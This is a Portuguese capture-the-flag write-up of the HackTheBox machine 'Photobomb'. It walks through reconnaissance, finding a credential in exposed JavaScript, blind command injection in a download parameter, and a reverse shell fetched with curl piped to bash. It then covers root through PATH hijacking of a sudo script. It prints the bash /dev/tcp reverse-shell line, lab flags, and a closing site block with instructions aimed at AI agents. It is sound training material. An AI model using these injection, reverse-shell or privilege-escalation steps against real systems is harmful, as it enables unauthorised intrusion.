# Photobomb

https://app.hackthebox.com/machines/Photobomb

{% hint style="info" %} Máquina Linux fácil projetada para explorar um Blind Command Injection e por fim escalar privilégios através de um Path Hijacking. {% endhint %} ## **Reconhecimento de Rede** ### Verificando a conectividade via Ping A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando `ping`. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede. No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux. 
attacker> ping -c 1 10.10.11.182
PING 10.10.11.182 (10.10.11.182) 56(84) bytes of data.
64 bytes from 10.10.11.182: icmp_seq=1 ttl=63 time=324 ms

--- 10.10.11.182 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 323.754/323.754/323.754/0.000 ms
### Varredura de Portas e Serviços Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta `rustscan` para verificar todas as portas (1-65535) no alvo. A varredura revelou a porta 80 HTTP aberta rodando um nginx 1.18.0 em um Linux Ubuntu além da porta 22 rodando um OpenSSH 8.2p1. ```shell attacker> rustscan -a 10.10.11.182 -r 1-65535 --ulimit 5000 -- -sCV -n -Pn -oX nmap.xml .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : https://discord.gg/GFrQsGy : : https://github.com/RustScan/RustScan : -------------------------------------- 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 e22473bbfbdf5cb520b66876748ab58d (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwlzrcH3g6+RJ9JSdH4fFJPibAIpAZXAl7vCJA+98jmlaLCsANWQXth3UsQ+TCEf9YydmNXO2QAIocVR8y1NUEYBlN2xG4/7txjoXr9QShFwd10HNbULQyrGzPaFEN2O/7R90uP6lxQIDsoKJu2Ihs/4YFit79oSsCPMDPn8XS1fX/BRRhz1BDqKlLPdRIzvbkauo6QEhOiaOG1pxqOj50JVWO3XNpnzPxB01fo1GiaE4q5laGbktQagtqhz87SX7vWBwJXXKA/IennJIBPcyD1G6YUK0k6lDow+OUdXlmoxw+n370Knl6PYxyDwuDnvkPabPhkCnSvlgGKkjxvqks9axnQYxkieDqIgOmIrMheEqF6GXO5zz6WtN62UAIKAgxRPgIW0SjRw2sWBnT9GnLag74cmhpGaIoWunklT2c94J7t+kpLAcsES6+yFp9Wzbk1vsqThAss0BkVsyxzvL0U9HvcyyDKLGFlFPbsiFH7br/PuxGbqdO9Jbrrs9nx60= | 256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBrVE9flXamwUY+wiBc9IhaQJRE40YpDsbOGPxLWCKKjNAnSBYA9CPsdgZhoV8rtORq/4n+SO0T80x1wW3g19Ew= | 256 20e05d8cba71f08c3a1819f24011d29e (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEp8nHKD5peyVy3X3MsJCmH/HIUvJT+MONekDg5xYZ6D 80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://photobomb.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` A varredura também retornou um nome de domínio que adicionei ao meu arquivo `/etc/hosts`. ```shell attacker> grep 'photobomb.htb' /etc/hosts 10.10.11.182 photobomb.htb ``` ## HTTP (80) Enumeration Em seguida, passei a enumerar o serviço HTTP usando a ferramenta `whatweb` para coletar informações sobre o software e a versão do servidor web. ```shell attacker> whatweb -v http://photobomb.htb | tee whatweb.txt WhatWeb report for http://photobomb.htb Status : 200 OK Title : Photobomb IP : 10.10.11.182 Country : RESERVED, ZZ Summary : HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], nginx[1.18.0], Script, UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block] HTTP Headers: HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Dec 2022 22:14:23 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close X-Xss-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Encoding: gzip ``` Navegando na porta 80, temos o website de uma gráfica. ![](/files/sS47x5E9t8U90ghZ7Ila) A página tem um link (click here) redirecionando para a rota `/printer` que possui um painel de autenticação. ![](/files/PVcrfUxSxD5j4GQ9uJl1) Fazendo um spidering nesta aplicação usando a ferramenta `gospider`, identificamos uma credencial exposta no arquivo `photobomb.js`. ```shell attacker> gospider -s http://photobomb.htb [url] - [code-200] - http://photobomb.htb [javascript] - http://photobomb.htb/photobomb.js [linkfinder] - [from: http://photobomb.htb/photobomb.js] - http://pH0t0:b0Mb!@photobomb.htb/printer ``` Indo ao arquivo, vemos uma função JavaScript que possui um hiperlink expondo de fato uma credencial. ![](/files/wKo5Q3dcBnjFH03Kn4g2) {% hint style="warning" %} Com isso, nota-se a importância de visualizar o código fonte de um site e analisar códigos JavaScript. Os desenvolvedores web às vezes cometem erros e deixam falhas de configuração ou credenciais dentro do código fonte visível de uma página web. {% endhint %} Agora vamos tentar fazer o login com esse nome de usuário `pH0t0` e senha `b0Mb!`. Usando essa credencial ganhamos acesso a rota `/printer`. ![](/files/QFHM4wUcmSTQo6SY6vra) Nessa rota, temos uma página com diversas imagens, bem como a capacidade de especificar suas dimensões e fazer o download delas. ![](/files/njP6QQoFkdRSfmPQoC6a) ### Command Injection Portanto, ao clicar em download, interceptei a requisição usando o `Burp Suite` para visualizar o que está sendo enviado para o servidor. Após alguns testes, percebo que o parâmetro `filetype` é vulnerável a Blind Command Injection. Como prova de conceito (PoC), enviei um ping para minha máquina atacante e aguardei a resposta do ping com a ferramenta `tcpdump`. ![](/files/G1GwWPVO0o2Xd4DhauBm) Ao enviar a requisição maliciosa com o `Burp Suite`, recebemos um ping do alvo, ou seja, de fato o parâmetro `filetype` é vulnerável a injeção de comando, e temos comunicação direta com o alvo. ```shell attacker> tcpdump -i tun0 icmp tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes 17:53:37.730711 IP photobomb.htb > 10.10.14.123: ICMP echo request, id 3, seq 1, length 64 17:53:37.730795 IP 10.10.14.123 > photobomb.htb: ICMP echo reply, id 3, seq 1, length 64 ^C 2 packets captured 2 packets received by filter 0 packets dropped by kernel ``` ## Gaining Access A mesma dinâmica funciona usando `cURL` em vez de `ping`. Portanto, podemos tirar proveito disso para obter uma reverse shell. Para fazer isso, estarei compartilhando com um servidor HTTP do python um arquivo `index.html` malicioso, contendo um script bash para enviar uma shell para um `netcat` que estará em escuta na minha máquina atacante. 
attacker> cat index.html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.123/443 0>&1

attacker> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
A ideia é que ao fazer o alvo enviar um `cURL` para este arquivo `index.html` e interpretá-lo com `| bash`, o alvo executará o comando que colocamos no `index.html`, e consequentemente enviará uma reverse shell para nosso `netcat`. ![curl http://10.10.14.123/|bash](/files/cqP15ldtWwDqdN4pOwVF) Assim, ganhamos acesso ao alvo como usuário `wizard`. ```shell attacker> nc -nlvp 443 listening on [any] 443 ... connect to [10.10.14.123] from (UNKNOWN) [10.10.11.182] 59862 bash: cannot set terminal process group (702): Inappropriate ioctl for device bash: no job control in this shell wizard@photobomb:~/photobomb$ hostname -I; day=$USER; echo $day hostname -I; day=$USER; echo $day 10.10.11.182 dead:beef::250:56ff:feb9:24a2 wizard ``` ### **Upgrade da Shello** Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo. 1. **Gerando um console bash em segundo plano:** Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de `bash` através do comando `script`, que abre uma sessão interativa mais apropriada, logo após, colocamos em background com `CTRL+Z`: ```sh wizard@photobomb:~/photobomb$ script /dev/null -c bash script /dev/null -c bash Script started, file is /dev/null wizard@photobomb:~/photobomb$ ^Z zsh: suspended nc -nlvp 443 ``` 2. **Verificando as dimensões do terminal na máquina atacante:** Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais: ```sh attacker> stty size 52 128 ``` 3. **Resetando o terminal no alvo:** Após isso, resetei o terminal do alvo com uma nova TTY: ```sh attacker> stty raw -echo; fg [1] + continued nc -nlvp 443 reset xterm ``` 4. **Definindo dimensões e variáveis de ambiente:** Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente: ```sh wizard@photobomb:~/photobomb$ stty rows 52 columns 128 wizard@photobomb:~/photobomb$ export SHELL=bash TERM=xterm ``` #### User Flag Navegando ao diretório `/home` do usuário `wizard` podemos encontrar a flag `user.txt`. ```shell wizard@photobomb:~/photobomb$ cat /home/wizard/user.txt affce247c90da3c7593abebe0c9c6e08 ``` {% hint style="success" %} Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag `root.txt`. {% endhint %} ## Privilege Escalation Utilizando o comando `sudo -l`, foi possível verificar quais comandos o usuário atual tinha permissão de executar como root. O comando revelou que o usuário tinha permissão para executar o script `/opt/cleanup.sh` definindo a variável de ambiente `$PATH` e sem a necessidade de inserir senha. ```shell wizard@photobomb:~$ sudo -l Matching Defaults entries for wizard on photobomb: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User wizard may run the following commands on photobomb: (root) SETENV: NOPASSWD: /opt/cleanup.sh ``` Listando este script, vemos que ele pertence ao usuário `root`. ``` wizard@photobomb:~$ ls -la /opt/cleanup.sh -r-xr-xr-x 1 root root 340 Sep 15 12:11 /opt/cleanup.sh ``` Abrindo o script podemos vemos que o binário `find` está sendo definido sem rota absoluta, portanto, podemos aplicar um `Path Hijacking`. {% hint style="warning" %} *Obs:* Não só o `find` mas no script também temos a presença do caractere "`[`" na condição if, e "`[`" no Linux é reconhecido como um binário, portanto, o abuso de path hijacking curiosamente também poderia ser feito com "`[`". {% endhint %} Com isto, no diretório `/tmp` podemos criar um arquivo chamado `find` contendo o comando `bash`. ```shell wizard@photobomb:/tmp$ echo '/bin/bash' > find wizard@photobomb:/tmp$ chmod +x find wizard@photobomb:/tmp$ export PATH=/tmp:$PATH wizard@photobomb:/tmp$ echo $PATH /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` Agora, ao executarmos o script `/opt/cleanup.sh` como sudo definindo a variável de ambiente `$PATH` (SETENV) como sendo `/tmp`, ao ser executado, o script interpretá-ra que o `find` que ele deve usar é o que criamos no diretório `/tmp`, e assim, ganharemos uma shell como root. ```shell wizard@photobomb:/tmp$ sudo PATH=/tmp:$PATH /opt/cleanup.sh root@photobomb:/home/wizard/photobomb# whoami root ``` Então basta ler a flag `root.txt` no diretório `/root` para concluir o objetivo do CTF. ```shell root@photobomb:/home/wizard/photobomb# cat /root/root.txt 8b096e9b696629d58d8ea5173764a194 ``` {% hint style="success" %} Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida. {% endhint %} ![PWNED](/files/IVSPGVnmbAZFYzffeCa1) [^1]: YOUR IP [^2]: NETCAT PORT --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://brunosergio.gitbook.io/ctfs/writeups/hackthebox/photobomb.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.